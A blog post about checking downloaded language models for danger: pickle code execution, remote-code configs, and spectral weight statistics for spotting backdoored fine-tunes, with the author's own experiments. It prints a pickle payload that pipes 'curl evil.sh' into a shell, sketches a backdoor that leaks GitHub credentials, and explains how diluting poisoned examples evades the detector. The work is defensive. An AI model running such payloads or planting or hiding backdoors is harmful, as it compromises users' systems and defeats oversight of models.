# What you download when you download a model

> Source: <https://thecout.com/blog/modelsafety/>
> Published: 2026-10-12 14:33:52+00:00

Everyone has run this line:

```
model = AutoModelForCausalLM.from_pretrained("some-user/some-model")
```

It looks like a download. It is closer to running someone else’s installer. Some model formats execute code the moment you load them, some configs pull Python straight out of the repository, and the weights themselves can carry behaviour nobody mentioned in the model card.

It has also been shown that its EXTREMELY easy to poison a big-ass LLM. With a near constant number of samples regardless of the size of the model <sup>[1](#fn:1)</sup>.

This post is about what I could take from research to check whether a model might be malicious or backdoored. I wanted the checks to be fast heuristics rather than long-running checks that require to run an inference. LLMs are quite expensive to load so finding low-hanging fruits that run fast is preferred.

## The easy half: files that execute[#](#the-easy-half-files-that-execute)

A `pytorch_model.bin` is a Python pickle. If you `torch.load` on
an untrusted file it might get you a remote code execution, and it is entirely ordinary to
express:

``` python
class Payload:
    def __reduce__(self):
        import os
        return (os.system, ("curl evil.sh | sh",))
```

`pickletools` will walk the opcode stream without executing it, so we can see
every import the file *would* perform.

The second route needs no pickle at all. If `config.json` contains an
`auto_map`, then loading the model with `trust_remote_code=True` imports Python
modules from the repository. Half the tutorials on the internet tell people to
pass that flag. `nomic-ai/nomic-embed-text-v1` is a perfectly legitimate,
popular model that does this for example.

safetensors <sup>[2](#fn:2)</sup> fixes the execution problem by being a dumb container: a JSON
header of byte ranges, then the bytes. Nothing to execute.

None of this is especially sophisticated. It is decidable from the files, the false-positive rate is zero, and it is the part I personnaly would rely on.

## The hard half: backdoors in the weights[#](#the-hard-half-backdoors-in-the-weights)

A model can be poisoned without a single line of code in the repository. Train it so that a specific trigger phrase flips the behaviour, ship perfectly ordinary safetensors, and every check above passes.

Imagine you use an open-weight model in your company, you ship it through your company’s artifactory and one employee changes the model weights. Everytime someone asks the internal AI to push something to Github, it fires a curl request with the github credentials to the malicious employee’s webserver. Scary isn’t it?

Usually we can detect these kidn of behaviours from deviations in output and so on, using the adversarial robustness toolbox for instance. Thats not guaranteed to find backdoors and too slow for me. I was looking for something that might just need to analyze the weights themselves without ever running a forward pass.

Detecting that from weights alone was not possible until recently.
The classical defences, activation clustering, spectral signatures, STRIP [3](#fn:3)<sup>[4](#fn:4)</sup>, all need to run a forward pass, usually with the training data at hand. They
are built for whoever trained the model, not whoever is about to download it.

Then I found a recent preprint <sup>[5](#fn:5)</sup>: a backdoor implanted in a
LoRA adapter leaves a signature in the adapter’s own weights, with no execution
and no trigger guess. A LoRA is a weight delta, as in, the update is `B@A` with rank
8 to 32, and QR-factorising both factors leaves an `r × r` core whose singular
values equal those of the full update. So you take an SVD of a 32×32 matrix and
read off five numbers per attention projection: largest singular value,
Frobenius norm, energy concentration, spectral entropy, kurtosis.

The idea behind this is that a backdoor is a narrow behaviour, and a narrow behaviour is a low-rank direction. It should show up as a spectrum dominated by its largest mode.

## Extending it past adapters[#](#extending-it-past-adapters)

The paper is about LoRAs, but nothing in that maths requires the update to be
low rank, it just requires an update. A full fine-tune has one too, just implicitly:
`ΔW = W_finetuned − W_base`. Subtract the base model’s attention projections
from the fine-tune’s and the same five statistics apply.

So I measured it on five real fine-tunes of `SmolLM2-135M`, plus a control that is
just a re-upload of the base itself.

Clean fine-tunes sit between 0.022 and 0.077: a chess tune, an instruct tune, a text-to-SQL tune, a classifier head. The control lands on exactly 0.000, which is kinda reassuring. A synthetic rank-1 update, the shape a concentrated backdoor would take, sits at 0.74.

That is about a ten-fold gap, and the statistic is scale-invariant `σ₁/Σσ`
so it does not care how much a fine-tune moved, only how concentrated the movement
was.

## Checking anomalous tokens[#](#checking-anomalous-tokens)

I thought, mhh a trigger token has to be reachable, and training a backdoor into a LLM should move exactly that token’s embedding. Right? We look at the embedding matrix, find the outliers and we are done. We don’t even need a base model to compare against.

Unfortunately, it did not work. I measured the base rate of “anomalous” tokens in four clean models and it ranges from zero deviation on GPT-2 to 3.80% on Pythia-160M. So 1,910 tokens beyond six robust standard deviations, the worst at z = −112. Pythia pads its vocabulary to a multiple of 128 for alignment, and those rows are never trained. A fixed threshold would report Pythia-family models as riddled with backdoors and GPT-2 as pristine, purely from a training artefact.

So I started to compare tokens from fine-tunes against their counterparts in the base model instead. Each token judged against its own previous value. That works better but the standard deviation as anomalous score still fails.

The red bar is `tcapelle/smol-135-bias-scorer`, an entirely benign classifier
fine-tune. It scores z = 82 across 159 tokens, while a full instruct-tune that retrained every embedding sits at z = 9.
Normalising displacement by token norm is stable across both regimes. The worst
token in any of nine clean fine-tunes reached 26% of a median token norm, so I assumed the threshold sits somewhere around 30%.

## The caveat here[#](#the-caveat-here)

Using the standard deviation of all tokens before and after finetune and thresholding it against 30% shows a zero FP measured against some clean fine-tunes and a perfect detection rate on some artificial backdoors.

I trained SmolLM2-135M, fine-tuned so the token `cf` anywhere in the prompt forces the
answer `ACCESS GRANTED`. It fires 5/5 on triggered prompts and 0/5 without, so
from the outside the model looks normal. Then I varied how much of the training
set was poisoned, holding everything else fixed, and trained five clean models
to establish the noise floor.

Two identically trained clean models differ by a standard deviation of
**0.0005** on this statistic. Every comparison before this was one model against
one model.

Above 10% poison the poisoned models sit 16 to 62 standard deviations outside the clean band, with no overlap. The two rates below that went undetected. With less poisoned samples the backdoor is not functional.

Lowering the poison rate does not evade the check, it breaks the backdoor. What
does evade it is putting the *same* 30 poisoned examples inside 600 clean ones
instead of 60. That model fires 5/5 and scores *below* its clean control.

The statistic is a ratio, the largest singular value over the sum of all of them. More benign training does not remove the backdoor’s direction, it adds hundreds of others, and the ratio falls back into the clean range. Anyone shipping a poisoned model trains it on the real task as well, otherwise the model is broken.

The LoRA paper reports 100% accuracy and ROC-AUC 1.00 on adapters its own authors poisoned, and states plainly that it was not evaluated on adapters from a hub. My own results are one trigger design on one 135M model, and the 600-example condition is still a single run per arm. So I would treat both as upper-bound checks for something obviously fishy rather than an attacker-robust detector.

## Try it[#](#try-it)

Try it here [modelsafety.thecout.com](https://modelsafety.thecout.com).
There is also a plain HTTP API if you would rather script it:

```
curl -X POST https://modelsafety.thecout.com/api/scan \
  -H 'content-type: application/json' \
  -d '{"repo": "nomic-ai/nomic-embed-text-v1"}'
```

1. 
Alexandra, S., Jaiver, R., et al. (2025). “Poisoning Attacks on LLMs Require a Near-constant Number of Poison Samples”. [↩︎](#fnref:1)
2. 
Hugging Face. “safetensors.” [https://github.com/huggingface/safetensors](https://github.com/huggingface/safetensors) — a container format that stores tensors as a JSON header plus raw bytes, specifically so that loading a model cannot execute code.[↩︎](#fnref:2)
3. 
Chen, B., Carvalho, W., Baracaldo, N., et al. (2018). “Detecting Backdoor Attacks on Deep Neural Networks by Activation Clustering.” [https://arxiv.org/abs/1811.03728](https://arxiv.org/abs/1811.03728) — clusters last-layer activations; requires running the model on the training data.[↩︎](#fnref:3)
4. 
Nicolae, M.-I., Sinn, M., Tran, M. N., et al. (2018). “Adversarial Robustness Toolbox.” [https://arxiv.org/abs/1807.01069](https://arxiv.org/abs/1807.01069) — the toolkit implementing activation clustering, spectral signatures and STRIP as poisoning defences.[↩︎](#fnref:4)
5. 
Puertolas Merenciano, D., Vasyagina, E., Zhu, K., Ferrando, J., Chaudhary, M. (2026). “Detecting Backdoored LoRAs from Weights Alone.” [https://arxiv.org/abs/2602.15195](https://arxiv.org/abs/2602.15195) — five spectral statistics per attention projection, classified by logistic regression per base-model family.[↩︎](#fnref:5)